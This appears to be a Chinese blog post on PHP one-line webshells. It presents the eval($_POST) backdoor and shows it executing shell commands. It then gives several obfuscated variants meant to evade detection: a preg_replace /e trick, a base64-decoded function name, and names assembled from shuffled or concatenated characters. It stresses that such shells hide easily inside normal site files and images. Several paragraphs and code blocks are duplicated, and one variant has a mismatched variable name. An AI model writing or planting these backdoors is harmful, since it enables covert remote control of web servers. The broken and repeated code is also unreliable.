一句话木马的原理即可以执行传递上来变量的内容,变量名称即“一句话密码”,变量内容即后门执行代码,内容可以是list文件、上传及下载文件、数据库操作等等。
这类后门通常只一行代码,因此可以随意插入web站点的正常文件而并不影响原本代码的执行,甚至与正常图片的结合可以形成“图片马”。
体积小,隐蔽性强是一句话木马最大的优势。灵活的变量内容同时成就了很多经典的一句话操作客户端,如菜刀。
体积小,隐蔽性强是一句话木马最大的优势。灵活的变量内容同时成就了很多经典的一句话操作客户端,如菜刀。
php木马剖析
我们来对下面这样的一个一句话进行简单剖析:
<?php eval($_POST['bckdor']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是这样的:
首先存在一个变量,变量名为bckdor,bckdor的取值为HTTP的POST方式。Web服务器对bckdor取值以后,然后通过eval()函数执行bckdor里面的内容。
<?php eval($_POST['bckdor']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是这样的:
首先存在一个变量,变量名为bckdor,bckdor的取值为HTTP的POST方式。Web服务器对bckdor取值以后,然后通过eval()函数执行bckdor里面的内容。
php
木马使用
做一个一句话木马:p.php
![](https://i-blog.csdnimg.cn/blog_migrate/bb07fb95a22514061ef26414ac36e759.png)
直接上burp,试一个最简单的命令
![](https://i-blog.csdnimg.cn/blog_migrate/0516a27592d49ec965ec73db2221f43d.png)
可以看到,uname -a,正常运行,且将结果返回回来。
一句话的无数变种
下面是一些发散思维。
1,可以利用preg_replace,当有e修饰符时,可以直接运行替换的字符串。例子如下:
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'ei', 'e'.'v'.'a'.'l'.'($_SESSION[\'theCode\'])', 'a');
?>
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'ei', 'e'.'v'.'a'.'l'.'($_SESSION[\'theCode\'])', 'a');
?>
不过可以看到,连php官方都意识到了这里存在的漏洞,所以在7.0版本,明确不再支持/e修饰符,不过 <7.0 还是存在这个问题的
![](https://i-blog.csdnimg.cn/blog_migrate/5ca3357fecd3598fd3161cac82e1f26d.png)
2,利用编码,甚至迭代编码
<?php $f = base64_decode($_GET['g']); $f($_POST['c']); ?>
3,利用字符的各种颠倒
<?php
$str = 'aerst';
$funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
@$func($_POST['c']);
?>
$str = 'aerst';
$funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
@$func($_POST['c']);
?>
4,字符拼接,编码拼接等等
<?php $c=$_GET[n].'t';@$c($_POST[cmd]);?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';@$c($_POST[cmd]);?>
有兴趣的还可以再进一步研究,下次分析客户端